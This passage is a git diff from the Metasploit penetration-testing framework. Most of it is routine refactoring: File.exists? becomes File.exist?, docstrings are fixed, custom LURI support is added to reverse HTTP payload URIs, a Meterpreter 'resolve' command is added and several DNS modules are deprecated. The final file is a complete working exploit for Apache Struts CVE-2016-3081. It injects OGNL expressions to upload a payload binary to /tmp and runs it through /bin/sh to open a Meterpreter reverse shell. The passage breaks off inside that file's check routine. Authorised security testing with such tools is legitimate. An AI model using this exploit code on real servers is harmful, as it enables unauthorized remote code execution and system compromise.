conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
else
conn_id << req.relative_resource
conn_id = conn_id[0...-1] if conn_id[-1] == '/'
end
request_summary = "#{req.relative_resource} with UA '#{req.headers['User-Agent']}'"
request_summary = "#{luri}#{req.relative_resource} with UA '#{req.headers['User-Agent']}'"
# Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex]
@ -281,7 +307,7 @@ protected
resp.body = pkt.to_r
when :init_python
print_status("Staging Python payload ...")
print_status("Staging Python payload...")
url = payload_uri(req) + conn_id + '/'
blob = ""
@ -310,7 +336,7 @@ protected
})
when :init_java
print_status("Staging Java payload ...")
print_status("Staging Java payload...")
url = payload_uri(req) + conn_id + "/\x00"
blob = obj.generate_stage(
@ -334,7 +360,7 @@ protected
})
when :init_native
print_status("Staging Native payload ...")
print_status("Staging Native payload...")
url = payload_uri(req) + conn_id + "/\x00"
uri = URI(payload_uri(req) + conn_id)
@ -370,16 +396,18 @@ protected
end
when :connect
print_status("Attaching orphaned/stageless session ...")
print_status("Attaching orphaned/stageless session...")
resp.body = ''
conn_id = req.relative_resource
url = payload_uri(req) + conn_id
url << '/' unless url[-1] == '/'
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => payload_uri(req) + conn_id + "/\x00",
:url => url + "\x00",
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
@ -392,16 +420,14 @@ protected
unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode])
print_status("Unknown request to #{request_summary}")
end
resp.code = 200
resp.message = 'OK'
resp.body = datastore['HttpUnknownRequestResponse'].to_s
resp = nil
self.pending_connections -= 1
end
cli.send_response(resp) if (resp)
# Force this socket to be closed
obj.service.close_client( cli )
obj.service.close_client(cli)
end
end

View File

@ -183,8 +183,8 @@ class Msf::ModuleSet < Hash
# @option info [Array<String>] 'files' List of paths to files that defined
# +klass+.
# @return [Class] The klass parameter modified to have
# {Msf::Module#framework}, {Msf::Module#refname}, {Msf::Module#file_path},
# and {Msf::Module#orig_cls} set.
# Msf::Module.framework, Msf::Module#refname, Msf::Module#file_path,
# and Msf::Module#orig_cls set.
def add_module(klass, reference_name, info = {})
# Set the module's reference_name so that it can be referenced when
# instances are created.

View File

@ -418,7 +418,7 @@ class Msf::Modules::Loader::Base
# Records the load warning to {Msf::ModuleManager::Loading#module_load_warnings} and the log.
#
# @param [String] module_path Path to the module as returned by {#module_path}.
# @param [String] Error message that caused the warning.
# @param [String] error Error message that caused the warning.
# @return [void]
#
# @see #module_path

View File

@ -20,7 +20,7 @@ class OptAddressRange < OptBase
return nil unless value.kind_of?(String)
if (value =~ /^file:(.*)/)
path = $1
return false if not File.exists?(path) or File.directory?(path)
return false if not File.exist?(path) or File.directory?(path)
return File.readlines(path).map{ |s| s.strip}.join(" ")
elsif (value =~ /^rand:(.*)/)
count = $1.to_i

View File

@ -23,7 +23,7 @@ class OptPath < OptBase
if value =~ /^memory:\s*([0-9]+)/i
return false unless check_memory_location($1)
else
unless File.exists?(value)
unless File.exist?(value)
return false
end
end

View File

@ -48,6 +48,7 @@ module Payload::Python::ReverseHttp
target_url << ':'
target_url << opts[:port].to_s
target_url << luri
target_url << generate_callback_uri(opts)
target_url
end
@ -56,7 +57,7 @@ module Payload::Python::ReverseHttp
# Return the longest URI that fits into our available space
#
def generate_callback_uri(opts={})
uri_req_len = 30 + rand(256-30)
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
# Generate the short default URL if we don't have enough space
if self.available_space.nil? || required_space > self.available_space

View File

@ -50,7 +50,7 @@ module Msf::Payload::TransportConfig
unless uri
type = opts[:stageless] == true ? :init_connect : :connect
sum = uri_checksum_lookup(type)
uri = generate_uri_uuid(sum, opts[:uuid])
uri = luri + generate_uri_uuid(sum, opts[:uuid])
end
{

View File

@ -51,7 +51,7 @@ module Payload::Windows::ReverseHttp
# Add extra options if we have enough space
unless self.available_space.nil? || required_space > self.available_space
conf[:url] = generate_uri
conf[:url] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:ua] = datastore['MeterpreterUserAgent']
conf[:proxy_host] = datastore['PayloadProxyHost']
@ -61,7 +61,7 @@ module Payload::Windows::ReverseHttp
conf[:proxy_type] = datastore['PayloadProxyType']
else
# Otherwise default to small URIs
conf[:url] = generate_small_uri
conf[:url] = luri + generate_small_uri
end
generate_reverse_http(conf)
@ -98,7 +98,7 @@ module Payload::Windows::ReverseHttp
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
uri_req_len = 30 + rand(256-30)
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
end
if uri_req_len < 5

View File

@ -55,7 +55,7 @@ module Payload::Windows::ReverseHttp_x64
# add extended options if we do have enough space
unless self.available_space.nil? || required_space > self.available_space
conf[:url] = generate_uri
conf[:url] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:ua] = datastore['MeterpreterUserAgent']
conf[:proxy_host] = datastore['PayloadProxyHost']
@ -65,7 +65,7 @@ module Payload::Windows::ReverseHttp_x64
conf[:proxy_type] = datastore['PayloadProxyType']
else
# Otherwise default to small URIs
conf[:url] = generate_small_uri
conf[:url] = luri + generate_small_uri
end
generate_reverse_http(conf)
@ -96,7 +96,8 @@ module Payload::Windows::ReverseHttp_x64
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
uri_req_len = 30 + rand(256-30)
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
end
if uri_req_len < 5

View File

@ -53,7 +53,7 @@ class Msf::Post < Msf::Module
mod
end
# This method returns the ID of the {Mdm::Session} that the post module
# This method returns the ID of the Mdm::Session that the post module
# is currently running against.
#
# @return [NilClass] if there is no database record for the session

View File

@ -57,7 +57,7 @@ module Msf::Post::Common
# For example: you can use a python meterpreter on a Windows platform, and you will
# get 'python/python' as your arch/platform, and not 'x86/win32'.
#
# @returns [String] The archtecture recognizable by framework's ARCH_TYPES.
# @return [String] The archtecture recognizable by framework's ARCH_TYPES.
def get_target_arch
arch = nil
@ -338,4 +338,3 @@ module Msf::Post::Common
end
end

View File

@ -136,6 +136,8 @@ module Msf::Post::File
end
end
alias :exists? :exist?
#
# Writes a given string to a given local file
#
@ -143,7 +145,7 @@ module Msf::Post::File
# @param data [String]
# @return [void]
def file_local_write(local_file_name, data)
unless ::File.exists?(local_file_name)
unless ::File.exist?(local_file_name)
::FileUtils.touch(local_file_name)
end
@ -160,7 +162,7 @@ module Msf::Post::File
# @param local_file_name [String] Local file name
# @return [String] Hex digest of file contents
def file_local_digestmd5(local_file_name)
if ::File.exists?(local_file_name)
if ::File.exist?(local_file_name)
require 'digest/md5'
chksum = nil
chksum = Digest::MD5.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
@ -191,7 +193,7 @@ module Msf::Post::File
# @param local_file_name [String] Local file name
# @return [String] Hex digest of file contents
def file_local_digestsha1(local_file_name)
if ::File.exists?(local_file_name)
if ::File.exist?(local_file_name)
require 'digest/sha1'
chksum = nil
chksum = Digest::SHA1.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
@ -222,7 +224,7 @@ module Msf::Post::File
# @param local_file_name [String] Local file name
# @return [String] Hex digest of file contents
def file_local_digestsha2(local_file_name)
if ::File.exists?(local_file_name)
if ::File.exist?(local_file_name)
require 'digest/sha2'
chksum = nil
chksum = Digest::SHA256.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})

View File

@ -79,7 +79,7 @@ module UserProfiles
read_profile_list().each do |hive|
hive['OURS']=false
if hive['LOADED']== false
if session.fs.file.exists?(hive['DAT'])
if session.fs.file.exist?(hive['DAT'])
hive['OURS'] = registry_loadkey(hive['HKU'], hive['DAT'])
print_error("Error loading USER #{hive['SID']}: Hive could not be loaded, are you Admin?") unless hive['OURS']
else

View File

@ -30,7 +30,7 @@ class RPC_Plugin < RPC_Base
# If the plugin isn't in the user direcotry (~/.msf3/plugins/), use the base
path = Msf::Config.user_plugin_directory + File::SEPARATOR + plugin_file_name
if not File.exists?( path + ".rb" )
if not File.exist?( path + ".rb" )
# If the following "path" doesn't exist it will be caught when we attempt to load
path = Msf::Config.plugin_directory + File::SEPARATOR + plugin_file_name
end

View File

@ -249,7 +249,7 @@ class Core
args.each do |res|
good_res = nil
if ::File.exists?(res)
if ::File.exist?(res)
good_res = res
elsif
# let's check to see if it's in the scripts/resource dir (like when tab completed)
@ -258,7 +258,7 @@ class Core
::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource"
].each do |dir|
res_path = dir + ::File::SEPARATOR + res
if ::File.exists?(res_path)
if ::File.exist?(res_path)
good_res = res_path
break
end
@ -1254,7 +1254,7 @@ class Core
# If the plugin isn't in the user directory (~/.msf3/plugins/), use the base
path = Msf::Config.user_plugin_directory + File::SEPARATOR + plugin_file_name
if not File.exists?( path + ".rb" )
if not File.exist?( path + ".rb" )
# If the following "path" doesn't exist it will be caught when we attempt to load
path = Msf::Config.plugin_directory + File::SEPARATOR + plugin_file_name
end
@ -3291,7 +3291,7 @@ class Core
# Determines if this is an apt-based install
def is_apt
File.exists?(File.expand_path(File.join(Msf::Config.install_root, '.apt')))
File.exist?(File.expand_path(File.join(Msf::Config.install_root, '.apt')))
end
# Determines if we're a Metasploit Pro/Community/Express

View File

@ -1469,7 +1469,7 @@ class Db
print_error("Can't make loot with no filename")
return
end
if (!File.exists?(filename) or !File.readable?(filename))
if (!File.exist?(filename) or !File.readable?(filename))
print_error("Can't read file")
return
end
@ -1979,13 +1979,13 @@ class Db
return
end
if (args[0] == "-y")
if (args[1] and not ::File.exists? ::File.expand_path(args[1]))
if (args[1] and not ::File.exist? ::File.expand_path(args[1]))
print_error("File not found")
return
end
file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml")
file = ::File.expand_path(file)
if (::File.exists? file)
if (::File.exist? file)
db = YAML.load(::File.read(file))['production']
framework.db.connect(db)

View File

@ -220,7 +220,7 @@ class Driver < Msf::Ui::Driver
if opts['Resource'].blank?
# None given, load the default
default_resource = ::File.join(Msf::Config.config_directory, 'msfconsole.rc')
load_resource(default_resource) if ::File.exists?(default_resource)
load_resource(default_resource) if ::File.exist?(default_resource)
else
opts['Resource'].each { |r|
load_resource(r)
@ -279,7 +279,7 @@ class Driver < Msf::Ui::Driver
fname = ::File.join(@junit_output_path, "#{bname}.xml")
cnt = 0
while ::File.exists?( fname )
while ::File.exist?( fname )
cnt += 1
fname = ::File.join(@junit_output_path, "#{bname}_#{cnt}.xml")
end
@ -314,7 +314,7 @@ class Driver < Msf::Ui::Driver
# Generate the output path, allow multiple test with the same name
fname = ::File.join(@junit_output_path, "#{bname}.xml")
cnt = 0
while ::File.exists?( fname )
while ::File.exist?( fname )
cnt += 1
fname = ::File.join(@junit_output_path, "#{bname}_#{cnt}.xml")
end
@ -416,7 +416,7 @@ class Driver < Msf::Ui::Driver
if path == '-'
resource_file = $stdin.read
path = 'stdin'
elsif ::File.exists?(path)
elsif ::File.exist?(path)
resource_file = ::File.read(path)
else
print_error("Cannot find resource script: #{path}")

View File

@ -37,7 +37,7 @@ module Msf
kb_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md")
kb = ''
if File.exists?(kb_path)
if File.exist?(kb_path)
File.open(kb_path, 'rb') { |f| kb = f.read }
end

View File

@ -173,8 +173,7 @@ module Msf
# Returns the markdown format for module authors.
#
# @param authors [Array] Module Authors
# @param authors [String] Module author
# @param authors [Array, String] Module Authors
# @return [String]
def normalize_authors(authors)
if authors.kind_of?(Array)
@ -205,8 +204,7 @@ module Msf
# Returns the markdown format for module platforms.
#
# @param platforms [Array] Module platforms.
# @param platforms [String] Module platform.
# @param platforms [Array, String] Module platforms.
# @return [String]
def normalize_platforms(platforms)
if platforms.kind_of?(Array)

View File

@ -2253,9 +2253,9 @@ require 'msf/core/exe/segment_appender'
path = ::File.expand_path(::File.join(
::File.dirname(__FILE__),"..", "..", "..", "data", "eicar.com")
)
return true unless ::File.exists?(path)
return true unless ::File.exist?(path)
ret = false
if ::File.exists?(path)
if ::File.exist?(path)
begin
data = ::File.read(path)
unless Digest::SHA1.hexdigest(data) == "3395856ce81f2b7382dee72602f798b642f14140"

View File

@ -44,7 +44,7 @@ class PayloadCachedSize
def self.update_cache_constant(data, cached_size)
data.
gsub(/^\s*CachedSize\s*=\s*(\d+|:dynamic).*/, '').
gsub(/^(module Metasploit\d+)\s*\n/) do |m|
gsub(/^(module MetasploitModule)\s*\n/) do |m|
"#{m.strip}\n\n CachedSize = #{cached_size}\n\n"
end
end

View File

@ -138,7 +138,7 @@ def self.open_browser(url='http://google.com/')
['xdg-open', 'sensible-browser', 'firefox', 'firefox-bin', 'opera', 'konqueror', 'chromium-browser'].each do |browser|
ENV['PATH'].split(':').each do |path|
# Does the browser exists?
if File.exists?("#{path}/#{browser}")
if File.exist?("#{path}/#{browser}")
system("#{browser} #{url} &")
return
end
@ -165,7 +165,7 @@ def self.open_webrtc_browser(url='http://google.com/')
paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe"
paths.each do |path|
if File.exists?(path)
if File.exist?(path)
args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
system("\"#{path}\" #{args} \"#{url}\"")
return true
@ -187,7 +187,7 @@ def self.open_webrtc_browser(url='http://google.com/')
['google-chrome', 'chrome', 'chromium', 'firefox' , 'firefox', 'opera'].each do |browser|
ENV['PATH'].split(':').each do |path|
browser_path = "#{path}/#{browser}"
if File.exists?(browser_path)
if File.exist?(browser_path)
args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : ""
system("#{browser_path} #{args} #{url} &")
return true

View File

@ -24,7 +24,7 @@ class RopDb
# Returns true if a ROP chain is available, otherwise false
#
def has_rop?(rop_name)
File.exists?(File.join(@base_path, "#{rop_name}.xml"))
File.exist?(File.join(@base_path, "#{rop_name}.xml"))
end
#

View File

@ -82,7 +82,7 @@ module FileUtils
def self.find_full_path(file_name)
# Check for the absolute fast first
if (file_name[0,1] == "/" and ::File.exists?(file_name) and ::File::Stat.new(file_name))
if (file_name[0,1] == "/" and ::File.exist?(file_name) and ::File::Stat.new(file_name))
return file_name
end

View File

@ -1,10 +1,13 @@
# -*- coding: binary -*-
require 'openssl/ccm'
require 'metasm'
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl/ccm'
require 'metasm'
module Rex
module Parser
###
@ -112,7 +115,7 @@ module Rex
# Parse the metadata_entries and return a hashmap using the
# following format:
# {metadata_entry_type => {metadata_value_type => [fve_entry,...]}}
# metadata_entry_type => metadata_value_type => [fve_entry,...]
def fve_entries(metadata_entries)
offset_entry = 0
entry_size = metadata_entries[0, 2].unpack('v')[0]
@ -215,7 +218,7 @@ module Rex
end
# Produce a hash map using the following format:
# {PROTECTION_TYPE => [fve_entry, fve_entry...]}
# PROTECTION_TYPE => [fve_entry, fve_entry...]
def vmk_entries
res = {}
(@fve_metadata_entries[ENTRY_TYPE_VMK][VALUE_TYPE_VMK]).each do |vmk|

View File

@ -132,7 +132,7 @@ class Client
# The SSL certificate is being passed down as a file path
if opts[:ssl_cert]
if ! ::File.exists? opts[:ssl_cert]
if ! ::File.exist? opts[:ssl_cert]
elog("SSL certificate at #{opts[:ssl_cert]} does not exist and will be ignored")
else
# Load the certificate the same way that SslTcpServer does it

View File

@ -644,6 +644,16 @@ class ClientCore < Extension
scheme = opts[:transport].split('_')[1]
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
if opts[:luri] && opts[:luri].length > 0
if opts[:luri][0] != '/'
url << '/'
end
url << opts[:luri]
if url[-1] == '/'
url = url[0...-1]
end
end
if opts[:comm_timeout]
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
end

View File

@ -184,7 +184,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
#
# Returns true if the remote file +name+ exists, false otherwise
#
def File.exists?(name)
def File.exist?(name)
r = client.fs.filestat.new(name) rescue nil
r ? true : false
end
@ -302,7 +302,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
# Check for changes
src_stat = client.fs.filestat.new(src_file)
if ::File.exists?(dest_file)
if ::File.exist?(dest_file)
dst_stat = ::File.stat(dest_file)
if src_stat.size == dst_stat.size && src_stat.mtime == dst_stat.mtime
return 'skipped'

View File

@ -575,6 +575,7 @@ class Console::CommandDispatcher::Core
'-p' => [ true, 'LPORT parameter' ],
'-i' => [ true, 'Specify transport by index (currently supported: remove)' ],
'-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ],
'-lu' => [ true, 'Local URI for HTTP/S transports (used when adding/changing transports with a custom LURI)' ],
'-ua' => [ true, 'User agent for HTTP/S transports (optional)' ],
'-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ],
'-pp' => [ true, 'Proxy port for HTTP/S transports (optional)' ],
@ -656,6 +657,8 @@ class Console::CommandDispatcher::Core
opts[:uri] = val
when '-i'
transport_index = val.to_i
when '-lu'
opts[:luri] = val
when '-ph'
opts[:proxy_host] = val
when '-pp'

View File

@ -702,7 +702,7 @@ class Console::CommandDispatcher::Stdapi::Fs
client.framework.events.on_session_upload(client, src, dest) if msf_loaded?
}
elsif (stat.file?)
if client.fs.file.exists?(dest) and client.fs.file.stat(dest).directory?
if client.fs.file.exist?(dest) && client.fs.file.stat(dest).directory?
client.fs.file.upload(dest, src) { |step, src, dst|
print_status("#{step.ljust(11)}: #{src} -> #{dst}")
client.framework.events.on_session_upload(client, src, dest) if msf_loaded?

View File

@ -35,6 +35,13 @@ class Console::CommandDispatcher::Stdapi::Net
attr_accessor :pfservice
end
#
# Options for the resolve command
#
@@resolve_opts = Rex::Parser::Arguments.new(
'-h' => [false, 'Help banner.' ],
'-f' => [true, 'Address family - IPv4 or IPv6 (default IPv4)'])
#
# Options for the route command.
#
@ -77,6 +84,7 @@ class Console::CommandDispatcher::Stdapi::Net
"arp" => "Display the host ARP cache",
"netstat" => "Display the network connections",
"getproxy" => "Display the current proxy configuration",
'resolve' => 'Resolve a set of host names on the target',
}
reqs = {
"ipconfig" => [ "stdapi_net_config_get_interfaces" ],
@ -94,6 +102,7 @@ class Console::CommandDispatcher::Stdapi::Net
"arp" => [ "stdapi_net_config_get_arp_table" ],
"netstat" => [ "stdapi_net_config_get_netstat" ],
"getproxy" => [ "stdapi_net_config_get_proxy" ],
'resolve' => ['stdapi_net_resolve_host'],
}
all.delete_if do |cmd, desc|
@ -474,6 +483,55 @@ class Console::CommandDispatcher::Stdapi::Net
print_line( "Proxy Bypass : #{p[:proxybypass]}" )
end
#
# Resolve 1 or more hostnames on the target session
#
def cmd_resolve(*args)
args.unshift('-h') if args.length == 0
hostnames = []
family = AF_INET
@@resolve_opts.parse(args) { |opt, idx, val|
case opt
when '-h'
print_line('Usage: resolve host1 host2 .. hostN [-h] [-f IPv4|IPv6]')
print_line
print_line(@@resolve_opts.usage)
return false
when '-f'
if val.downcase == 'ipv6'
family = AF_INET6
elsif val.downcase != 'ipv4'
print_error("Invalid family: #{val}")
return false
end
else
hostnames << val
end
}
response = client.net.resolve.resolve_hosts(hostnames, family)
table = Rex::Ui::Text::Table.new(
'Header' => 'Host resolutions',
'Indent' => 4,
'SortIndex' => 0,
'Columns' => ['Hostname', 'IP Address']
)
response.each do |result|
if result[:ip].nil?
table << [result[:hostname], '[Failed To Resolve]']
else
table << [result[:hostname], result[:ip]]
end
end
print_line
print_line(table.to_s)
end
protected
#

View File

@ -1,9 +1,5 @@
# -*- coding: binary -*-
##
# ADB protocol support
##
require 'rex/proto/adb/message'
module Rex

View File

@ -52,7 +52,7 @@ module Steam
# Decodes an A2S_INFO response message
#
# @parameter response [String] the A2S_INFO resposne to decode
# @param response [String] the A2S_INFO resposne to decode
# @return [Hash] the fields extracted from the response
def a2s_info_decode(response)
# abort if it is impossibly short

View File

@ -240,7 +240,7 @@ class Rex::Socket::Comm::Local
if @@ip6_lla_scopes.length == 0 and retry_scopes
# Linux specific interface lookup code
if ::File.exists?( "/proc/self/net/igmp6" )
if ::File.exist?( "/proc/self/net/igmp6" )
::File.open("/proc/self/net/igmp6") do |fd|
fd.each_line do |line|
line = line.strip

View File

@ -57,7 +57,7 @@ module Shell
def init_tab_complete
if (self.input and self.input.supports_readline)
self.input = Input::Readline.new(lambda { |str| tab_complete(str) })
if Readline::HISTORY.length == 0 and histfile and File.exists?(histfile)
if Readline::HISTORY.length == 0 and histfile and File.exist?(histfile)
File.readlines(histfile).each { |e|
Readline::HISTORY << e.chomp
}

View File

@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'#, '1.1.0'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.1.6'
spec.add_runtime_dependency 'metasploit-payloads', '1.1.8'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS.

View File

@ -325,11 +325,11 @@ class MetasploitModule < Msf::Auxiliary
return
when 'RNFR'
send_response(c,arg,"RNRF",350," File exists")
send_response(c,arg,"RNRF",350," File.exist")
return
when 'RNTO'
send_response(c,arg,"RNTO",350," File exists")
send_response(c,arg,"RNTO",350," File.exist")
return
else
send_response(c,arg,cmd.upcase,200," Command not understood")

View File

@ -8,8 +8,10 @@ require "net/dns/resolver"
require 'rex'
class MetasploitModule < Msf::Auxiliary
include Msf::Module::Deprecated
include Msf::Auxiliary::Report
deprecated(Date.new(2016, 6, 12), 'auxiliary/gather/enum_dns')
def initialize(info = {})
super(update_info(info,
'Name' => 'DNS Brutefoce Enumeration',

View File

@ -7,8 +7,11 @@ require 'msf/core'
require 'net/dns/resolver'
class MetasploitModule < Msf::Auxiliary
include Msf::Module::Deprecated
include Msf::Auxiliary::Report
deprecated(Date.new(2016, 6, 12), 'auxiliary/gather/enum_dns')
def initialize(info = {})
super(update_info(info,
'Name' => 'DNS Non-Recursive Record Scraper',

View File

@ -8,8 +8,11 @@ require "net/dns/resolver"
require 'rex'
class MetasploitModule < Msf::Auxiliary
include Msf::Module::Deprecated
include Msf::Auxiliary::Report
deprecated(Date.new(2016, 6, 12), 'auxiliary/gather/enum_dns')
def initialize(info = {})
super(update_info(info,
'Name' => 'DNS Basic Information Enumeration',

View File

@ -8,8 +8,11 @@ require "net/dns/resolver"
require 'rex'
class MetasploitModule < Msf::Auxiliary
include Msf::Module::Deprecated
include Msf::Auxiliary::Report
deprecated(Date.new(2016, 6, 12), 'auxiliary/gather/enum_dns')
def initialize(info = {})
super(update_info(info,
'Name' => 'DNS Reverse Lookup Enumeration',

View File

@ -8,8 +8,11 @@ require "net/dns/resolver"
require 'rex'
class MetasploitModule < Msf::Auxiliary
include Msf::Module::Deprecated
include Msf::Auxiliary::Report
deprecated(Date.new(2016, 6, 12), 'auxiliary/gather/enum_dns')
def initialize(info = {})
super(update_info(info,
'Name' => 'DNS Common Service Record Enumeration',

View File

@ -83,7 +83,7 @@ class MetasploitModule < Msf::Auxiliary
save_source.puts(res.body.to_s)
save_source.close
print_status("#{full_uri} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}"))
print_status("#{full_uri} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exist?("#{path_save}#{uri}"))
else
print_error("http://#{vhost}:#{rport} - nginx - Unrecognized #{res.code} response")

View File

@ -74,7 +74,7 @@ class MetasploitModule < Msf::Auxiliary
end
path = ::File.join(datastore['FTPROOT'], Rex::FileUtils.clean_path(arg))
if(not ::File.exists?(path))
if(not ::File.exist?(path))
c.put "550 File does not exist\r\n"
return
end
@ -134,7 +134,7 @@ class MetasploitModule < Msf::Auxiliary
end
path = ::File.join(datastore['FTPROOT'], Rex::FileUtils.clean_path(arg))
if(not ::File.exists?(path))
if(not ::File.exist?(path))
c.put "550 File does not exist\r\n"
return
end
@ -160,7 +160,7 @@ class MetasploitModule < Msf::Auxiliary
end
npath = ::File.expand_path(::File.join(datastore['FTPROOT'], bpath))
if not (::File.exists?(npath) and ::File.directory?(npath))
if not (::File.exist?(npath) and ::File.directory?(npath))
c.put "550 Directory does not exist\r\n"
return
end

View File

@ -40,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary
filename = datastore['FILENAME']
verbose = datastore['VERBOSE']
count = 0
unless File.exists? filename and File.file? filename
unless File.exist? filename and File.file? filename
print_error("Pcap File does not exist")
return
end

View File

@ -0,0 +1,190 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts Dynamic Method Invocation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
Execution can be performed via method: prefix when Dynamic Method Invocation
is enabled.
},
'Author' => [ 'Nixawk' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-3081' ],
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ]
],
'Platform' => %w{ linux },
'Privileged' => true,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp_uuid'
},
'Targets' =>
[
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DisclosureDate' => 'Apr 27 2016',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
], self.class)
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def send_http_request(payload)
uri = normalize_uri(datastore['TARGETURI'])
res = send_request_cgi(
'uri' => "#{uri}#{payload}",
'method' => 'POST')
if res && res.code == 404
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
end
res
end
def parameterize(params) # params is a hash
URI.escape(params.collect { |k, v| "#{k}=#{v}" }.join('&'))
end
def generate_rce_payload(code, params_hash)
payload = "?method:"
payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
payload << ","
payload << Rex::Text.uri_encode(code)
payload << ","
payload << Rex::Text.uri_encode("1?#xx:#request.toString")
payload << "&"
payload << parameterize(params_hash)
payload
end
def temp_path
@TMPPATH ||= lambda {
path = datastore['TMPPATH']
return nil unless path
unless path.end_with?('/')
path << '/'
end
return path
}.call
end
def upload_file(filename, content)
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
var_c = rand_text_alpha_lower(4)
var_d = rand_text_alpha_lower(4)
code = "##{var_a}=new sun.misc.BASE64Decoder(),"
code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_c}[0]))),"
code << "##{var_b}.write(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])),"
code << "##{var_b}.close()"
params_hash = { var_c => filename, var_d => content }
payload = generate_rce_payload(code, params_hash)
send_http_request(payload)
end
def execute_command(cmd)
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
var_c = rand_text_alpha_lower(4)
var_d = rand_text_alpha_lower(4)
var_e = rand_text_alpha_lower(4)
var_f = rand_text_alpha_lower(4)
code = "##{var_a}=@java.lang.Runtime@getRuntime().exec(#parameters.#{var_f}[0]).getInputStream(),"
code << "##{var_b}=new java.io.InputStreamReader(##{var_a}),"
code << "##{var_c}=new java.io.BufferedReader(##{var_b}),"
code << "##{var_d}=new char[1024],"
code << "##{var_c}.read(##{var_d}),"
code << "##{var_e}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
code << "##{var_e}.println(##{var_d}),"
code << "##{var_e}.close()"
cmd.tr!(' ', '+') if cmd && cmd.include?(' ')
params_hash = { var_f => cmd }
payload = generate_rce_payload(code, params_hash)
send_http_request(payload)
end
def linux_stager
payload_exe = rand_text_alphanumeric(4 + rand(4))
path = temp_path || '/tmp/'
payload_exe = "#{path}#{payload_exe}"
b64_filename = Rex::Text.encode_base64(payload_exe)
b64_content = Rex::Text.encode_base64(generate_payload_exe)
print_status("Uploading exploit to #{payload_exe}")
upload_file(b64_filename, b64_content)
print_status("Attempting to execute the payload...")
execute_command("chmod 700 #{payload_exe}")
execute_command("/bin/sh -c #{payload_exe}")
end
def exploit
linux_stager
end
def check
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
addend_one = rand_text_numeric(rand(3) + 1).to_i
addend_two = rand_text_numeric(rand(3) + 1).to_i
sum = addend_one + addend_two
flag = Rex::Text.rand_text_alpha(5)
code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.close()"
params_hash = { var_b => flag }
payload = generate_rce_payload(code, params_hash)
begin
resp = send_http_request(payload)
rescue Msf::Exploit::Failed
return Exploit::CheckCode::Unknown
end
if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
Exploit::CheckCode::Vulnerable
else
